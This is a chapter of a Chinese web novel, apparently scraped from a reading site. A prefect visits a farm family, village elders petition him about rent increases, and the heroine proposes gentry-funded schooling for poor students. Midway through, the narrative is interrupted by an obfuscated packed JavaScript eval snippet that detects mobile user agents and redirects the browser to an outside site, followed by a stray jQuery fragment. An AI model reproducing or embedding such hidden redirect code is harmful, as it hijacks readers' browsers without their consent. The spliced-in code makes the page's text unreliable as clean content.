三石六斗 作品

86. 另眼相看

杨文英看着沈瑶领着外人归家,于是放下手中的绣活,起身打开了篱笆门,迎众人入院。


不用沈瑶开口介绍,杨文英已经先给李蒙宏行了一礼。


当初和兄长流放此地时被接收,曾在流民营见过他一面。


李蒙宏主仆和薛里长都是头回来沈家,农家小院虽有些破败,但却收拾的十分整洁,忍不住让人细细打量。


首先映入眼帘的便是那一畦枝繁叶茂的菜地。


也不晓得主人家是如何伺弄的。


只见搭在木架子上的藤蔓挂满了角豆,两垄白菜颗颗鲜翠,一垄韭菜显然是割了又长出来的新茬,还有好几样他不认识的蔬果。


李蒙宏双手背负在身后活脱脱像一个下乡来视察工作的领导,走哪问哪,沈瑶还必须得在旁边跟着为他详细介绍。


一问菜为何长势如此好?二问菜种何处得来?三问平时都是谁在照料?


沈瑶在旁详细解说,不解说不行的那种。


李蒙宏看完了菜地看鸡舍,惹得鸡舍里的大公鸡一副战斗模式,张着翅膀梗着脖子扑棱上篱笆要叨人,它得维护好自个地盘,还得维护好身后咯咯哒的母鸡和弱鸡。


李蒙宏瞧这斗鸡模样,觉得挺有意思,又看向旁边搭的棚子,问沈瑶,家中既然养了牛,为何不用牛翻地。


沈瑶答,家中养了骡子,骡子被表哥征用去乡下收食材去了,因今早请童生们在家中用早食,童生们心怀感激,这才帮我去翻地。


沈瑶话里话外的意思,李蒙宏如何听不明白。


不就是嫌他来吃白食呗。


“阿瑶,你在家啊,这是家里来了客人?”村里几位老人挎着篮子打过招呼后直接走了进来。


“阿奶,你们找我有事情?”


带头的王阿奶摆摆手,一张嘴就露出发白的牙龈:“不找你,我们来找文英,前段时间和她说好了,来抓两只小鸡回去养。”


杨文英闻言立刻转身去厨房抱了个筐篓冲老人们招手,示意她们走过来选。


叽叽喳喳的声音在廊下响起,筐篓被掀开露出下方一堆毛茸茸的鸡崽。


“奶,你们选一选。”杨文英很是骄傲的把筐篓往前送。


这些可都是她亲自养大的母鸡孵出来的第一批鸡崽。


几位老人就地坐在廊上,看看这只,摸摸那只,最后各挑了三只,从怀里摸出几个铜板递了过去,将小鸡崽装进篮子里后,众人又暗地里瞥一眼李大人。


站在一旁的薛里长,见沈家真是在源源不断的挣钱,阴阳怪气的指责沈家是掏空了心思挣黑心钱。


这话就惹得老人们不高兴了,身为里长,不想着怎么帮扶他们百姓,却还要处处压榨他们,岂能不怨恨。


就这几枚铜板,都不够阿瑶家买鸡蛋的。


你个糟心烂废的狗腿子还有脸上门。


“哎哟,瞧我老了老了,真是眼瞎耳聋,竟没瞧这还站了一个人,若不出声还以为阿瑶你家养了条狗,这人谁啊?”


王阿奶这番话听得薛里长在原地跳脚,但她才不管,反正她老了连死都不怕,还怕得罪这些人?


今日她们几个老姐妹来,一是来买鸡崽,二是来给家里的娃们挣一条活路。


“你,你这老婆子骂谁是狗?”薛里长指着王婆子的脸怒斥。


“谁吱声就骂谁!”几位老人将手中的篮子往廊下一放,齐刷刷的扭过身冲着李蒙宏跪下磕头哭诉。


“大——人——啊,您可要为我们下河村的佃农做主啊,这薛里长一来就给我们增收佃租,咱们佃的地一亩何时出过三石粮?这不是逼着我们去死啊?”


几位老人哭得声嘶力竭,抑扬顿挫,如同哭坟般。


李蒙宏身边的老吏将主人护在身后,上前劝说两句,却被老人们喷了一脸的唾沫星子。


李蒙宏被几位老人哭得头疼,“你们先起来,这件事情本官会替你们做主的。”


话音刚落,哭声戛然而止。


“哎呀,那可太好了,我们这就把这个好消息告诉大伙去。”几位老人擦掉眼泪,拍拍裤腿上的灰,提起篮子健步如飞的出了沈家门。


李蒙宏意识到自己被几位老人设下圈套,脸黑如锅底,眼色沉沉的望着沈瑶。


“大人,您先和里长在院子里坐坐,再过一会学堂就下课了,等子安回来让他陪你们说说话。”沈瑶搬了两张凳子放在院子里。


也不管他们还想说什么问什么,直接无视掉,去菜地摘了新鲜的蔬菜和文英去厨房摘洗。


薛里长想要问问李蒙宏,他要如何为乡亲们做主,难道是想要和崔氏作对吗?


只他还没开口,李蒙宏就呵斥他闭上嘴。


且屁股还没挨着凳子坐下,就被老吏踢翻跌坐在地。


老吏朝薛里长翻了个白眼,就你?也敢在我们大人面前坐下,什么身份?


学堂里。


杨继宗告诉众学生,今日放学后都跟着他回家去拜见一个人。


学生们得知要见知府大人,年岁大一些的有些畏惧,年岁小些的如罗墩子,石头,春芽等人就很是兴奋。


他们要看看那知府大人是不是真的会吃人。


杨继宗领着学生们归家时,恰逢遇上从地里回来的童生们,一群人互相行礼,齐齐进了院子。


原本安静的小院,立马变得热闹起来。


就连隔壁院里的周大顺都是悄摸藏在篱笆墙后偷听自家大郎是如何拜见的知府大人。


李蒙宏知道自己辖下的贫寒人家出了读书人,但真正面对这些怀有热枕的学子时,他那颗久经风霜,泡在官场上麻木的心似乎也跟着活了过来。


先是问了赵小福等童生之后跟着谁做文章,随后又问了眼前这些学生们都读了哪些书,会不会写字?


众人一一回答,尤其是当那些稚童望着他开口便是,这位伯伯也没有爹娘说得那般吓人啊。


几个娃眼里全是真诚没有半分对他阿谀奉承。


杨继宗看着李蒙宏被学生们簇拥着闲谈,便进了厨房给沈瑶和妹妹打下手。


新磨出来的面粉带着麦香,沈瑶将面粉调成糊状,做了疙瘩汤,又蒸了一笼韭菜鸡蛋馅的包子。


杨文英将摘好的豆角、酸菜下油锅同排骨一块焖煮了一大锅,饭菜的香味飘出厨房,勾的院里的人皆忍不住吞咽着口水。


村里的学生们在闻到饭菜香味时就已经很有眼力劲儿的离开了沈家,这一举又惹得李蒙宏对这群娃娃们另眼相看。


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15639080|162528||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


晌午家中长辈不在,沈瑶和杨继宗兄妹便是主人,饭菜端上桌,李蒙宏让老吏领着薛里长去厨房吃。


这可让薛里长在众人面前脸面全无:“大人,小的可是下河村的里长。”


李蒙宏卷着袖子看都不看他一眼:“你是奴籍,奴才怎可与主人一块同食,这顿饭你若不愿意吃,大可回去。”


薛里长又将视线移到沈瑶和杨继宗身上,二人自然不会为他说话。


为了能得知李蒙宏和沈瑶等人在密谋些什么,薛里长只得生生咽下这口气,随同老吏进了厨房用食。


疙瘩汤酸味十足,一碗下肚很是开胃,韭菜鸡蛋馅的包子个个比拳头还大,锅里的排骨就连牙口不怎么好的李蒙宏都能啃动。


沈瑶见大伙吃得欢喜,在桌子底下踢了踢杨继宗的小腿。


杨继宗立刻举起茶水示意众童生以水代酒敬李大人一杯。


李蒙宏被众人糖衣炮弹所迷惑,官场上摸爬打滚这些年,还没被人这样爱戴过。


“沈娘子,本官会将你的耕作法试着推展开来,你可莫要辜负本官的期望。”李蒙宏掏出帕子擦了擦满是油水的嘴角。


沈瑶起身回应,随后又叹了一口气。


坐在她对面的胡世杰立刻有所察觉:“沈娘子可是遇到什么难处,咱们大人在此,您有什么难处尽管直言。”


沈瑶等的就是这个台阶,“不瞒大伙,村中置办这个学堂,都是百姓一起搭建的,孩子们读书难啊。”


“沈娘子,本官晓得你们的难处。”李蒙宏怎会不知道一个家庭若想供养出读书人得付出多少代价。


“不,大人,您不知。”沈瑶握住杨继宗的手腕,将他那双十指带茧和冻疮的手给给大伙看,“我夫君子安,他白日教书,夜里为书肆抄书挣些铜板,只能买一套纸墨笔砚,可这哪能够这些学生们用?”


李蒙宏闭口不言,想反驳沈瑶,这双手未必全是抄书造成的,据他所知,杨继宗还去采石场服过苦役,还挖渠。


“大人,您方才也同这些学生们聊过,他们的资质,若是下场考试,说不定都能考中童生,若您能——”


沈瑶话还未说完,李蒙宏心口猛地一跳,他就说这顿饭恐怕没这么简单,原来是在这等着他。


“沈娘子你不用说了,本官的月俸虽不多,但也愿尽些绵薄之力,这样吧,等回去后本官会让人给你们送来一些旧书籍。”


沈瑶就知道从他嘴里抠不出二两银:“大人,您的心意我替学生们领了,您不妨先听我把话讲完。”


沈瑶告诉李蒙宏,由他出面让城里的乡绅出资,可供贫寒子弟读书,这些乡绅每捐出一定数额的银子,便可在功德碑上刻下出资人的名字,供世人歌颂。


沈瑶又同李蒙宏讲,这些出资人的银子不光可以供贫寒子弟读书,若是大人将来要修路修桥都可用此法。


席间众人闻言皆震惊不已,此等法子真是一举数得!


李蒙宏与老吏从沈家离开时,心中顿感不虚此行,杨继宗的本事他清楚,但今日一见沈瑶,更让他下定决心为自己的官途搏一搏。


不就是舍下脸面和那些满身铜臭味儿的乡绅们打交道吗,他身为地方官,难道还拿不下这些乡绅?